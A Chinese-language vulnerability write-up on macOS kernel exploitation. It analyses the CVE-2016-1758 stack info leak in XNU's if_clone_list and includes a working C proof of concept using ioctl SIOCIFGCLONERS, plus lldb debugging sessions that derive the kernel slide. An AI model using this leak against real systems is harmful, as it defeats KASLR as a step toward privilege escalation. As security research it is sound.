0x001 前言

本文是基于CVE-2016-1758、CVE-2016-1828来讨论一下macOS下的内核提权技术。CVE-2016-1758是一个内核信息泄漏的洞,由于没有严格控制好内核栈数据copy的size,导致可以将额外8个bytes的内核地址泄漏出来,计算得到kernel_slide。CVE-2016-1828则是内核uaf的洞,存在于OSUnserializeBinary函数内,通过一个可控的虚表指针,将执行流劫持到NULL页上作ROP完成提权。

 

0x002 调试环境

虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54

这里简单说一下环境搭建,在Parallel Desktop虚拟机安装OS X 10.10.5,主机安装KDK 10.10.5 14F27,安装目录是/Library/Developer/KDKs,提供的内核版本、符号、内核扩展都有release、development、debug三种版本。

启动虚拟机,看一下ip

设置启动参数

sudo nvram boot-args="debug=0x141 kext-dev-mode=1 pmuflags=1 -v"

我们这里直接调试realease版本的内核,所以不需要加kcsuffix=development这条参数。要是需要调试development或debug版本的内核,可以从主机安装的KDK包拷贝对应的内核到虚拟机的/System/Library/Kernels目录,再设置kcsuffix参数。

令内核缓存无效,重启

sudo kextcache -invalidate /
sudo reboot

主机打开lldb,引入调试符号

target create /Library/Developer/KDKs/KDK_10.10.5_14F27.kdk/System/Library/Kernels/kernel

虚拟机启动起来卡在开机,并等待调试器接入

kdp-remote连上去

 

0x003 内核源码分析

获取xnu内核代码

xnu-2782.40.9

找到/bsd/net/if.c里的if_clone_list方法

/*
 * Provide list of interface cloners to userspace.
 */
static int
if_clone_list(int count, int *ret_total, user_addr_t dst)
{
  char outbuf[IFNAMSIZ];
  struct if_clone *ifc;
  int error = 0;

  *ret_total = if_cloners_count;
  if (dst == USER_ADDR_NULL) {
    /* Just asking how many there are. */
    return (0);
  }

  if (count < 0)
    return (EINVAL);

  count = (if_cloners_count < count) ? if_cloners_count : count;

  for (ifc = LIST_FIRST(&if_cloners); ifc != NULL && count != 0;
       ifc = LIST_NEXT(ifc, ifc_list), count--, dst += IFNAMSIZ) {
    strlcpy(outbuf, ifc->ifc_name, IFNAMSIZ);
    error = copyout(outbuf, dst, IFNAMSIZ);
    if (error)
      break;
  }

  return (error);
}

IFNAMSIZ长度为16,由于ifc是定义在内核栈上的局部数据,当ifc_name小于outbuf的长度,所以会将未初始化的内核地址拷贝到用户空间,计算得到kernel slide。

ifc_name存放着6个bytes的数据bridge,剩余9个bytes为初始化的数据存在outbuf上。

下面是if_clone_list方法的调用链

soo_ioctl -> soioctl -> ifioctllocked -> ifioctl -> ifioctl_ifclone -> if_clone_list

soo_ioctl方法在socketops结构体中被引用

const struct fileops socketops = {
  DTYPE_SOCKET,
  soo_read,
  soo_write,
  soo_ioctl,
  soo_select,
  soo_close,
  soo_kqfilter,
  soo_drain
};

要使得ifioctl调用ifioctl_ifclone,要传进cmd参数SIOCIFGCLONERS,类似这样ioctl(sockfd,SIOCIFGCLONERS,&ifcr)

int
ifioctl(struct socket *so, u_long cmd, caddr_t data, struct proc *p)
{
  char ifname[IFNAMSIZ + 1];
  struct ifnet *ifp = NULL;
  struct ifstat *ifs = NULL;
  int error = 0;

  bzero(ifname, sizeof (ifname));

  /*
   * ioctls which don't require ifp, or ifreq ioctls
   */
  switch (cmd) {
  case OSIOCGIFCONF32:      /* struct ifconf32 */
  case SIOCGIFCONF32:     /* struct ifconf32 */
  case SIOCGIFCONF64:     /* struct ifconf64 */
  case OSIOCGIFCONF64:      /* struct ifconf64 */
    error = ifioctl_ifconf(cmd, data);
    goto done;

  case SIOCIFGCLONERS32:      /* struct if_clonereq32 */
  case SIOCIFGCLONERS64:      /* struct if_clonereq64 */
    error = ifioctl_ifclone(cmd, data);
    goto done;

  case SIOCGIFAGENTDATA32:    /* struct netagent_req32 */
  case SIOCGIFAGENTDATA64:    /* struct netagent_req64 */
    error = netagent_ioctl(cmd, data);
    goto done;

查看ifioctl_ifclone方法,要使用if_clonereq结构作为if_clone_list的调用参数

static __attribute__((noinline)) int
ifioctl_ifclone(u_long cmd, caddr_t data)
{
  int error = 0;

  switch (cmd) {
  case SIOCIFGCLONERS32: {    /* struct if_clonereq32 */
    struct if_clonereq32 ifcr;
    bcopy(data, &ifcr, sizeof (ifcr));
    error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
        CAST_USER_ADDR_T(ifcr.ifcru_buffer));
    bcopy(&ifcr, data, sizeof (ifcr));
    break;
  }

  case SIOCIFGCLONERS64: {    /* struct if_clonereq64 */
    struct if_clonereq64 ifcr;
    bcopy(data, &ifcr, sizeof (ifcr));
    error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
        ifcr.ifcru_buffer);
    bcopy(&ifcr, data, sizeof (ifcr));
    break;
  }

  default:
    VERIFY(0);
    /* NOTREACHED */
  }

  return (error);
}

最后,我们分析得到这样一段泄漏代码

// CVE-2016-1758 kernel info leak
#include <net/if.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>

char buffer[IFNAMSIZ];

struct if_clonereq ifcr = {
    .ifcr_count = 1,
    .ifcr_buffer = buffer,
};

int main(){
    int sockfd = socket(AF_INET,SOCK_STREAM,0);
    int err = ioctl(sockfd,SIOCIFGCLONERS,&ifcr);
    printf("%sn",buffer);
    printf("0x%016llxn",*(uint64_t *)buffer);
    printf("0x%016llxn",*(uint64_t *)(buffer+8));
}

 

0x004 Info leak: CVE-2016-1758

回到调试器,在if_clone_list方法下断点

kernel was compiled with optimization - stepping may behave oddly; variables may not be available.                  │R15 FFFFFF7F981F5310 | .S...... | => 0xF>
Process 1 stopped                                                                                                   │CS  0000  DS  0000
* thread #2, name = '0xffffff801e134e28', queue = '0x0', stop reason = signal SIGSTOP                               │ES  n/a   FS  0000
    frame #0: 0xffffff801790b868 kernel`kdp_register_send_receive(send=<unavailable>, receive=<unavailable>) at kdp_│GS  0000  SS  n/a
udp.c:463 [opt]                                                                                                     │
Target 0: (kernel) stopped.                                                                                         │
(lldb) break set -name if_clone_list                                                                                │
Breakpoint 1: 2 locations.                                                                                          │
(lldb) c

在虚拟机内安装xcode-command-tools

xcode-select --install

编译泄漏代码后直接运行,调试器断在ifioctl_ifclone方法

Loading 1 kext modules warning: Can't find binary/dSYM for com.apple.filesystems.smbfs (CD5CEA75-1160-31C9-BAAA-B1373623BAE3)
. done.
Process 1 stopped
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1
    frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x0000000100000000, dst=4465025088) at if.c:672 [opt]
Target 0: (kernel) stopped.
(lldb) b

查看栈回溯,调用过程大体上与我们分析的一致

(lldb) bt                                                                                                           │RDX 0000000000000010 | ........ |
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1                              │RCX 0000000000000000 | ........ |
  * frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x000000010000000│R8  FFFFFF80221D89D8 | ...".... |
0, dst=4465025088) at if.c:672 [opt]                                                                                │R9  0000000000000000 | ........ |
    frame #1: 0xffffff8017b9ac6d kernel`ifioctl_ifclone(cmd=<unavailable>, data="") at if.c:1482 [opt]              │R10 0000000000000000 | ........ |
    frame #2: 0xffffff8017b9958f kernel`ifioctl(so=<unavailable>, cmd=3222301057, data="", p=0xffffff8020e331a0) at │R11 0000000000000206 | ........ |
if.c:1732 [opt]                                                                                                     │R12 00000000C0106981 | .i...... |
    frame #3: 0xffffff8017b99cbf kernel`ifioctllocked(so=0xffffff8026c69680, cmd=<unavailable>, data=<unavailable>, │R13 0000000000000001 | ........ |
p=<unavailable>) at if.c:2515 [opt]                                                                                 │R14 FFFFFF8018112F48 | H/...... | => `__>
    frame #4: 0xffffff8017df1f0a kernel`soioctl(so=0xffffff8026c69680, cmd=<unavailable>, data="", p=0xffffff8020e33│R15 000000010A22E040 | @."..... |
1a0) at sys_socket.c:279 [opt]                                                                                      │CS  0000  DS  0000
    frame #5: 0xffffff8017dadddb kernel`fo_ioctl(fp=0xffffff80221d89d8, com=3222301057, data="", ctx=0xffffff8077453│ES  n/a   FS  FFFF0000
e88) at kern_descrip.c:5687 [opt]                                                                                   │GS  77450000  SS  n/a
    frame #6: 0xffffff8017decd64 kernel`ioctl(p=0xffffff8020e331a0, uap=0xffffff801e3477a0, retval=<unavailable>) at│
 sys_generic.c:911 [opt]                                                                                            │
    frame #7: 0xffffff8017e4b376 kernel`unix_syscall64(state=0

查看源码,我们选择断在if.c:1484这行,这里刚好是调用完if_clone_list的返回

(lldb) b if.c:1484

继续跑起来,现在断在bcopy(&ifcr, data, sizeof (ifcr));这行以前,ifcr包含着未初始化的内核栈数据

    0xffffff8017b9ae84 <+612>: jmp    0xffffff8017b9aea5        ; <+645> at if.c:1484
    0xffffff8017b9ae86 <+614>: xorl   %ebx, %ebx
    0xffffff8017b9ae88 <+616>: leaq   -0x60(%rbp), %rdi
    0xffffff8017b9ae8c <+620>: movl   $0x10, %edx
->  0xffffff8017b9ae91 <+625>: int3
    0xffffff8017b9ae92 <+626>: movl   -0x68(%rbp), %esi
    0xffffff8017b9ae95 <+629>: callq  0xffffff801770e080        ; bcopy
    0xffffff8017b9ae9a <+634>: leaq   0x5780a7(%rip), %r14      ; __stack_chk_guard
    0xffffff8017b9aea1 <+641>: jmp    0xffffff8017b9aeb7        ; <+663> at if.c:1475

rdi指向ifcr,可以看到0xffffff801793487f便是我们可以泄漏出来的内核地址,而该地址的前方便是bridge字符串

查看该地址的汇编代码

(lldb) x/10i 0xffffff801793487f                                                                                     │R12 FFFFFF8077483C80 | .<Hw.... | => "br>
    0xffffff801793487f: 44 89 f0     movl   %r14d, %eax                                                             │R13 0000000000000000 | ........ |
    0xffffff8017934882: 48 83 c4 08  addq   $0x8, %rsp                                                              │R14 FFFFFF8018064208 | .B...... | => 0xF>
    0xffffff8017934886: 5b           popq   %rbx                                                                    │R15 000000010C0AB050 | P....... |
    0xffffff8017934887: 41 5e        popq   %r14                                                                    │CS  0000  DS  0000
    0xffffff8017934889: 41 5f        popq   %r15                                                                    │ES  n/a   FS  FFFF0000
    0xffffff801793488b: 5d           popq   %rbp                                                                    │GS  77480000  SS  n/a
    0xffffff801793488c: c3           retq                                                                           │
    0xffffff801793488d: 0f 1f 00     nopl   (%rax)                                                                  │
    0xffffff8017934890: 55           pushq  %rbp                                                                    │
    0xffffff8017934891: 48 89 e5     movq   %rsp, %rbp

内核继续跑起来,再次确认我们找的地址没问题

利用librop的代码(已经上传到个人github上)找到对应内核文件的地址0xFFFFFF800033487F,用泄漏地址减去该地址便是kernel_slide。

[传送门]


每次重启后kernel_slide都会变,需要重新计算得到,本次kernel_slide = 0x17600000

由于篇幅问题,关于CVE-2016-1828的分析以及做ROP提权的技术会放到下一篇文章中讲解。

源链接

Hacking more

...